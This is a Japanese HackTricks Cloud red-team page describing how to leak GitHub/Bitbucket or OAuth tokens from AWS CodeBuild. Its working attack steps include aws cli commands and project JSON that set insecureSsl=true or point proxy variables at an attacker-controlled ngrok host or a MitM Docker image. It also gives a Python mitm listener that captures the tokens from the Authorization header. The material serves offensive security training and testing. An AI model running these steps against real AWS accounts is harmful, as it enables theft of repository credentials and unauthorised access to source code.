AWS Codebuild - Token Leakage
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Recover Github/Bitbucket Configured Tokens
まず、leak できるソースの認証情報が設定されているか確認します:
aws codebuild list-source-credentials
Docker Image を使用して
アカウントに例えば Github への認証情報が設定されている場合、Codebuild にプロジェクトのビルドを実行させる際に特定の Docker image を使用させることで、exfiltrate that access (GH token or OAuth token) できます。
この目的のために、create a new Codebuild project するか既存プロジェクトの environment を変更して Docker image を設定できます。
使用できる Docker image は https://github.com/carlospolop/docker-mitm です。これは非常に基本的な Docker image で、env variables https_proxy, http_proxy および SSL_CERT_FILE を設定します。これにより https_proxy と http_proxy に指定したホストのほとんどのトラフィックを傍受でき、SSL_CERT_FILE に指定した SSL 証明書を信頼させることができます。
- Create & Upload your own Docker MitM image
- リポジトリの指示に従って proxy の IP アドレスと SSL 証明書を設定し、build the docker image してください。
- メタデータエンドポイントへのリクエストを傍受しないように DO NOT SET
http_proxyとしてください。 ngrokを使ってngrok tcp 4444のようにホストへプロキシを設定することができます(例)。- Docker image をビルドしたら、upload it to a public repo (Dockerhub, ECR…) してください。
- Set the environment
- Create a new Codebuild project するか、既存のプロジェクトの環境を modify してください。
- プロジェクトが previously generated Docker image を使用するように設定します。
.png)
- Set the MitM proxy in your host
- Github repo に示されているように、次のようなものを使用できます:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
使用した mitmproxy バージョンは 9.0.1 で、バージョン10では動作しない可能性が報告されています。
- ビルドを実行して資格情報をキャプチャする
- トークンは Authorization ヘッダーで確認できます:
.png)
これは aws cli から次のようにして行うこともできます
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
insecureSSL 経由
Codebuild プロジェクトには insecureSsl という設定があり、Web(コンソール)上では隠されていて、API からのみ変更できます.
これを有効にすると、Codebuild はプラットフォームが提示するリポジトリの証明書を検証せずに接続できるようになります。
- まずは次のような方法で現在の設定を列挙する必要があります:
aws codebuild batch-get-projects --name <proj-name>
- 収集した情報を使って、プロジェクト設定
insecureSslをTrueに更新できます。以下は私がプロジェクトを更新した例で、最後にinsecureSsl=Trueがあることに注意してください(収集した設定から変更する必要があるのはこれだけです)。 - また、環境変数 http_proxy と https_proxy を tcp ngrok を指すように追加してください。例えば:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- 次に、プロキシ変数 (http_proxy と https_proxy) が指すポートで https://github.com/synchronizing/mitm の基本的な例を実行します
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- 最後に、Build the project をクリックすると、credentials が 平文で送信されます (base64) mitm ポートへ:
 (1).png)
HTTP プロトコル経由
[!TIP] > この脆弱性は 2023 年 2 月 20 日の週のいつか(おそらく金曜日)に AWS によって修正されました。つまり、攻撃者はもう悪用できません :)
攻撃者はCodeBuild 上で権限が昇格していると、設定された Github/Bitbucket token を leak できる、または権限が OAuth 経由で設定されている場合は、コードにアクセスするために使用される一時的な OAuth token を leak できます。
- 攻撃者は環境変数 http_proxy と https_proxy を CodeBuild プロジェクトに追加して自分のマシンを指すようにする可能性があります(例:
http://5.tcp.eu.ngrok.io:14972)。
.png)
.png)
- 次に、github リポジトリの URL を HTTPS の代わりに HTTP を使うように変更します。例:
http://github.com/carlospolop-forks/TestActions - 次に、proxy 変数(http_proxy と https_proxy)が指すポートで、https://github.com/synchronizing/mitm の基本例を実行します。
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- 次に、Build the project をクリックするか、コマンドラインからビルドを開始します:
aws codebuild start-build --project-name <proj-name>
- 最後に、credentials は 平文で送信されます(base64)mitm ポートへ:
.png)
Warning
これにより attacker は自分のマシンから token を使用でき、その token が持つすべての権限を列挙し、CodeBuild service を直接使うよりも簡単に (ab)use できます。
webhook フィルタの誤設定による Untrusted PR 実行
PR-triggered webhook bypass chain(ACTOR_ACCOUNT_ID regex + untrusted PR execution)については、次を参照してください:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

